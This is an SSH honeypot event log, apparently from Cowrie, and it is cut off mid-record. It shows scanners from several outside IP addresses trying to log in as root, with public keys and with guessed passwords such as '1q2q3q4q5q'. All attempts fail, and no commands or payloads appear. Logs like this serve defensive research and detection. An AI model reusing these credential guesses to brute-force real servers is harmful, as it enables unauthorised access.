{"eventid":"cowrie.session.connect","src_ip":"74.48.69.130","src_port":37106,"dst_ip":"10.17.0.5","dst_port":22,"session":"12947e260d24","protocol":"ssh","message":"New connection: 74.48.69.130:37106 (10.17.0.5:22) [session: 12947e260d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.361170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.366436Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.436490Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:fa:74:96:c4:1e:bd:ee:fb:ec:79:1d:4b:94:21:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XRrhwTfEndI+9Tp6XkwtM1egHapIcd4I/Bes4BxS+q2jg6Cn28TmpXhY2N35T5iWSsNm8dyjlD9DRLPTTY4rKB6+R88gHdpbBd+hUW7nBNDZ0L/3Ipd6LrTrgRuI9z0/I+tiiqcOnlj5EuNpw8xO6uqmBPIBcV2XhOdRtL1ghI/x+nykK0et4NEwUaqTMn8X8Sn7U19i2HfZ360zcPSzVzumkvDYjYGs5BQK0tIFQ3/upV6yahXJXCBAzUGITIRmedrexhapEFvzFZgaZr34U9axFVP/EtuSfc3Rs68lqkq3zbZSemnWJOEbJyCKPo7oKzS0n2az9glj++l44VhZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:fa:74:96:c4:1e:bd:ee:fb:ec:79:1d:4b:94:21:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.757576Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:fa:74:96:c4:1e:bd:ee:fb:ec:79:1d:4b:94:21:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XRrhwTfEndI+9Tp6XkwtM1egHapIcd4I/Bes4BxS+q2jg6Cn28TmpXhY2N35T5iWSsNm8dyjlD9DRLPTTY4rKB6+R88gHdpbBd+hUW7nBNDZ0L/3Ipd6LrTrgRuI9z0/I+tiiqcOnlj5EuNpw8xO6uqmBPIBcV2XhOdRtL1ghI/x+nykK0et4NEwUaqTMn8X8Sn7U19i2HfZ360zcPSzVzumkvDYjYGs5BQK0tIFQ3/upV6yahXJXCBAzUGITIRmedrexhapEFvzFZgaZr34U9axFVP/EtuSfc3Rs68lqkq3zbZSemnWJOEbJyCKPo7oKzS0n2az9glj++l44VhZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.761335Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:de:2c:80:0b:71:58:9d:65:f4:89:cc:72:32:f2:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD2FBNajH8RXMZzkg0fPO39Fl9hQs4YqhqL/8gOsgK5MnWE2WiabU807/s+9hNSiAvQSluYFk/O1tPjG8MmA4VVwNw3beLXBkps5WWRRc+Hsirn+d6TO0/N7YrMts0UM4dhxLkeoq4j/L3FEUYrZA17S3azWy99vP3jIVANrSuq94hL3bwD9Kd/jUpYEf9OKsehCrR2AiOOiTwBHtBfu4o7iI5KYawBitHTbrD/s243M/oGQQuB2BP4HbZdr4IupzpdbxwPXde1RldsQO4pAkmdVNWPIujkAg3y6gILDRjVWdmYOCY64vwiCYmyBIkEB0A5gxbg9sBli4h9ZgcSccoAzdRPIr6jfWBIsqI1RTfIQ+11OYjZk6DbTw+8Vvlk9Fj3H6Q8ieJFhA689p3EXo3mZF0YNaLF/iK9tsUZmpsrbE3bncmg0s+J1TrblOvKalq/28pYawhFL7e/lqzr24bDjngPfbMZug6D4qttSsZVv+HtLdk8vE+GO9IhD4Dg+nz6IvKwPodvbWLdrajSkGUBDuy5l85QmwOju+DmYfzFI+32Gms+yW+Anwp0iB/lgq+K5mBwxmVWT9LNTKLKNSrmnbQPA/w64x+/lZ7VicCe6QqismGeNWq0vH0TagMMrNTy4bfBf/K/0Af0fhuaPqXCY5gj0WrBj7iBksqIL5OQFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:de:2c:80:0b:71:58:9d:65:f4:89:cc:72:32:f2:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.830746Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:de:2c:80:0b:71:58:9d:65:f4:89:cc:72:32:f2:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD2FBNajH8RXMZzkg0fPO39Fl9hQs4YqhqL/8gOsgK5MnWE2WiabU807/s+9hNSiAvQSluYFk/O1tPjG8MmA4VVwNw3beLXBkps5WWRRc+Hsirn+d6TO0/N7YrMts0UM4dhxLkeoq4j/L3FEUYrZA17S3azWy99vP3jIVANrSuq94hL3bwD9Kd/jUpYEf9OKsehCrR2AiOOiTwBHtBfu4o7iI5KYawBitHTbrD/s243M/oGQQuB2BP4HbZdr4IupzpdbxwPXde1RldsQO4pAkmdVNWPIujkAg3y6gILDRjVWdmYOCY64vwiCYmyBIkEB0A5gxbg9sBli4h9ZgcSccoAzdRPIr6jfWBIsqI1RTfIQ+11OYjZk6DbTw+8Vvlk9Fj3H6Q8ieJFhA689p3EXo3mZF0YNaLF/iK9tsUZmpsrbE3bncmg0s+J1TrblOvKalq/28pYawhFL7e/lqzr24bDjngPfbMZug6D4qttSsZVv+HtLdk8vE+GO9IhD4Dg+nz6IvKwPodvbWLdrajSkGUBDuy5l85QmwOju+DmYfzFI+32Gms+yW+Anwp0iB/lgq+K5mBwxmVWT9LNTKLKNSrmnbQPA/w64x+/lZ7VicCe6QqismGeNWq0vH0TagMMrNTy4bfBf/K/0Af0fhuaPqXCY5gj0WrBj7iBksqIL5OQFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.834644Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:2f:4b:9a:f8:ed:79:c4:0a:72:19:ec:22:70:b1:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrtS0Ga4EPGT0y1mqspsjZFK+9e1C2uhYtFiPCTO19gGOhJFp7ED7TlxAt9TKLWe0XnojOJrk8eFJPw1SX++iii/lQ6r4w0Pb1av9u8zgJuu6ICB3WXHZv7judRBjhEYeY4u8tphG57six+pihOZkYR1tIiiqx4zPJGrgJOpfo58NLAczN+CWYeZZO2YaaFZNM2piJP88qV/Z7TdoZ5worhawENDZ1Ymccl4syaHo8VCFiUm59vyjZtjNMVLDPEQ0dShLiXDOqjH/LUB8iMBjV2Ii+bhwgUtlWlg7YILC5wWf72UcRLYCbPGaEfemz4ctzg0sujJF0TpRL1N23oyAQM5fF8oGlOvMiu0Y4lCGrR2DyKvooWoezD1E01VxZlzmAOedXiAUdRjNa7jur3KKcoyecD9ILivKE1csGq0swlyGgKlnmHgspplE8rfvm7i494zuaICd20lc+yIWE8GP/ef02VL5reyXETESpNE+XN0zaAbYm2/PH3W8L7jwEbz4NqGoTgleWM4NivcUMrQlM9iHZzgPLzr6RyYRrrU+jNzsMDGPBOS5zgR3DZUk4ViORgdTMiElJ+K4lp1bCPLk/C/1rmTgXVrirbAYHlTKseBr/ZddzGZ5CA+OjQoQH5lqw3mrCfrw7b8+mkj/CvRR+s81o+6Xt/f8918LdYNnF1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:2f:4b:9a:f8:ed:79:c4:0a:72:19:ec:22:70:b1:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.907698Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:2f:4b:9a:f8:ed:79:c4:0a:72:19:ec:22:70:b1:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrtS0Ga4EPGT0y1mqspsjZFK+9e1C2uhYtFiPCTO19gGOhJFp7ED7TlxAt9TKLWe0XnojOJrk8eFJPw1SX++iii/lQ6r4w0Pb1av9u8zgJuu6ICB3WXHZv7judRBjhEYeY4u8tphG57six+pihOZkYR1tIiiqx4zPJGrgJOpfo58NLAczN+CWYeZZO2YaaFZNM2piJP88qV/Z7TdoZ5worhawENDZ1Ymccl4syaHo8VCFiUm59vyjZtjNMVLDPEQ0dShLiXDOqjH/LUB8iMBjV2Ii+bhwgUtlWlg7YILC5wWf72UcRLYCbPGaEfemz4ctzg0sujJF0TpRL1N23oyAQM5fF8oGlOvMiu0Y4lCGrR2DyKvooWoezD1E01VxZlzmAOedXiAUdRjNa7jur3KKcoyecD9ILivKE1csGq0swlyGgKlnmHgspplE8rfvm7i494zuaICd20lc+yIWE8GP/ef02VL5reyXETESpNE+XN0zaAbYm2/PH3W8L7jwEbz4NqGoTgleWM4NivcUMrQlM9iHZzgPLzr6RyYRrrU+jNzsMDGPBOS5zgR3DZUk4ViORgdTMiElJ+K4lp1bCPLk/C/1rmTgXVrirbAYHlTKseBr/ZddzGZ5CA+OjQoQH5lqw3mrCfrw7b8+mkj/CvRR+s81o+6Xt/f8918LdYNnF1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.911848Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:e0:e9:44:fd:14:90:90:99:1a:c3:01:18:40:5e:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDjJMqeRuXSpZjbrQmU5K4fisIA6zCOZ1OGrjLtuG96Z3UoW6hzpLsnguFLOaz8aS3ATMePHJJr6SlikET1Qhd5pqQ6NRICkH/Plk9zvrrBMeZVrc4h7eRh+rU3guV3eEszVbkfF2kPSSTBsLfQaZWm6fAPy6xFASw8uBgkEZ5+SffBXpqV4O7eNCX/T76i0he07m5Mbsw7lwqz7FEHn+SZYcVebIqxPodoWSYYdcYhS2Sm4GgHkqLOTjTC93EqWWuM4cYPlY1Q5JT1OxchWrNhw9LKdcrmdjW/KJqlDMwulqcFEuXde3iJTdwM8kmpi9YtU95QiDwwT/7nK8wr279/tdsfFJxTxqkf0un0kwHgPWD2MEKRymkMpB9zYok7Z5wRFBlMpfh3dj/pLZGlEPx3scfvILjatNXOQhEQE4CvBCjdiViFur0pawT7sGvOp8aEPKSOhw0B9CLpcL1a6L4TB31Tr18vVcBdZ8Nh1SAp5/60bnGoX6M3VQEYbjb75eGGTh6OdtdLTWOhWwOceEnRB2fjcULDeAsuDNRWe0iW+VxR1HFHwUVliQQqKY6s2ftK5B7ZKb9PBJnJBfwydVyWjmicpO01fw57MgUx9+KSAJmXORkjAXM8l4EUi04u42ILVMPHnZg1wrbfjX7r9+yNIZbRoWWr6YSXJ5OJo8sKAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:e0:e9:44:fd:14:90:90:99:1a:c3:01:18:40:5e:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.981196Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:e0:e9:44:fd:14:90:90:99:1a:c3:01:18:40:5e:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDjJMqeRuXSpZjbrQmU5K4fisIA6zCOZ1OGrjLtuG96Z3UoW6hzpLsnguFLOaz8aS3ATMePHJJr6SlikET1Qhd5pqQ6NRICkH/Plk9zvrrBMeZVrc4h7eRh+rU3guV3eEszVbkfF2kPSSTBsLfQaZWm6fAPy6xFASw8uBgkEZ5+SffBXpqV4O7eNCX/T76i0he07m5Mbsw7lwqz7FEHn+SZYcVebIqxPodoWSYYdcYhS2Sm4GgHkqLOTjTC93EqWWuM4cYPlY1Q5JT1OxchWrNhw9LKdcrmdjW/KJqlDMwulqcFEuXde3iJTdwM8kmpi9YtU95QiDwwT/7nK8wr279/tdsfFJxTxqkf0un0kwHgPWD2MEKRymkMpB9zYok7Z5wRFBlMpfh3dj/pLZGlEPx3scfvILjatNXOQhEQE4CvBCjdiViFur0pawT7sGvOp8aEPKSOhw0B9CLpcL1a6L4TB31Tr18vVcBdZ8Nh1SAp5/60bnGoX6M3VQEYbjb75eGGTh6OdtdLTWOhWwOceEnRB2fjcULDeAsuDNRWe0iW+VxR1HFHwUVliQQqKY6s2ftK5B7ZKb9PBJnJBfwydVyWjmicpO01fw57MgUx9+KSAJmXORkjAXM8l4EUi04u42ILVMPHnZg1wrbfjX7r9+yNIZbRoWWr6YSXJ5OJo8sKAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:26.985020Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:a7:e9:56:8f:61:cb:d0:e7:8b:a5:e5:84:84:40:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwJPS+EEONjlX4kU1ywvCCYyIaM+7lTalzOhbyjXbqEEavx17nf88+reYL17K7l9W+ynGeE/fBOSzItsE0qQmCC2qwYutmNILYSQ/IK+Kx0QPLZ7LnDp5UX6SvugOM5Mz1SBluDIzgY1xBi3j+PsVU5Azs1jFrlnj5VLAzKbJDAMwgGORA0cCEeSL+z0fnk/x7MTChwGNhFQCH964LVuWt9QRc7Txc5NEVhd+FdG4J0/P8fO1loFrIvWzZFSWjnyK8VlaqOZQ/Wv1m3juzTFjEOe3EPq1zgYWKI1+TjmvzrObmMua4+xvq36+i2TgW3ULQAkk5E2bYmEkZOC6wHUB1yfuevLF7XF40dU0nsXg2JTlB1uSbQ8eWAPKCvzPw/58Mr9Jol751V/5gDwT2OnZLPcMxQgYrtGhW6EKUh9maE3HBO6UghCiEIpv1kxyC58yyT9f6KP3hKkEXP6KIZmrK3mo9Y8/POwasbZngVPZK0BnNN/NP4y6/jIewNbwAwh3tF/BGN+QPkDO3210khJ0wUiR3fMV80qTaPJ7uNbpdsX0k/YDCfRig16OUf+ICjmG9NYkraAlwniW6yCD9B5SjqfgoOGkkMjefPpehiWK48lruY10qnU/t8bMMR3XRi+iwJ/J9jUNyQ0o+my5ygmgWXTHINcMChE11gze+obJBow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:a7:e9:56:8f:61:cb:d0:e7:8b:a5:e5:84:84:40:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:27.054137Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:a7:e9:56:8f:61:cb:d0:e7:8b:a5:e5:84:84:40:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwJPS+EEONjlX4kU1ywvCCYyIaM+7lTalzOhbyjXbqEEavx17nf88+reYL17K7l9W+ynGeE/fBOSzItsE0qQmCC2qwYutmNILYSQ/IK+Kx0QPLZ7LnDp5UX6SvugOM5Mz1SBluDIzgY1xBi3j+PsVU5Azs1jFrlnj5VLAzKbJDAMwgGORA0cCEeSL+z0fnk/x7MTChwGNhFQCH964LVuWt9QRc7Txc5NEVhd+FdG4J0/P8fO1loFrIvWzZFSWjnyK8VlaqOZQ/Wv1m3juzTFjEOe3EPq1zgYWKI1+TjmvzrObmMua4+xvq36+i2TgW3ULQAkk5E2bYmEkZOC6wHUB1yfuevLF7XF40dU0nsXg2JTlB1uSbQ8eWAPKCvzPw/58Mr9Jol751V/5gDwT2OnZLPcMxQgYrtGhW6EKUh9maE3HBO6UghCiEIpv1kxyC58yyT9f6KP3hKkEXP6KIZmrK3mo9Y8/POwasbZngVPZK0BnNN/NP4y6/jIewNbwAwh3tF/BGN+QPkDO3210khJ0wUiR3fMV80qTaPJ7uNbpdsX0k/YDCfRig16OUf+ICjmG9NYkraAlwniW6yCD9B5SjqfgoOGkkMjefPpehiWK48lruY10qnU/t8bMMR3XRi+iwJ/J9jUNyQ0o+my5ygmgWXTHINcMChE11gze+obJBow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:27.058151Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:27.127144Z","src_ip":"74.48.69.130","session":"12947e260d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34614,"dst_ip":"159.203.135.109","dst_port":22,"session":"380aabec583a","protocol":"ssh","message":"New connection: 51.250.105.222:34614 (159.203.135.109:22) [session: 380aabec583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:29.713087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:29.717927Z","src_ip":"51.250.105.222","session":"380aabec583a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:29.844424Z","src_ip":"51.250.105.222","session":"380aabec583a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50502,"dst_ip":"159.203.135.109","dst_port":22,"session":"78d03ec0aad8","protocol":"ssh","message":"New connection: 87.251.79.125:50502 (159.203.135.109:22) [session: 78d03ec0aad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:29.995027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:30.000851Z","src_ip":"87.251.79.125","session":"78d03ec0aad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:30.074144Z","src_ip":"87.251.79.125","session":"78d03ec0aad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfndtq","message":"login attempt [root/vfndtq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:30.225590Z","src_ip":"51.250.105.222","session":"380aabec583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2q3q4q5q","message":"login attempt [root/1q2q3q4q5q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:30.294765Z","src_ip":"87.251.79.125","session":"78d03ec0aad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:31.356554Z","src_ip":"51.250.105.222","session":"380aabec583a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:31.370638Z","src_ip":"87.251.79.125","session":"78d03ec0aad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49422,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbe7dde1ddce","protocol":"ssh","message":"New connection: 37.143.61.84:49422 (10.17.0.5:22) [session: fbe7dde1ddce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:47.792950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:48.486896Z","src_ip":"37.143.61.84","session":"fbe7dde1ddce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-n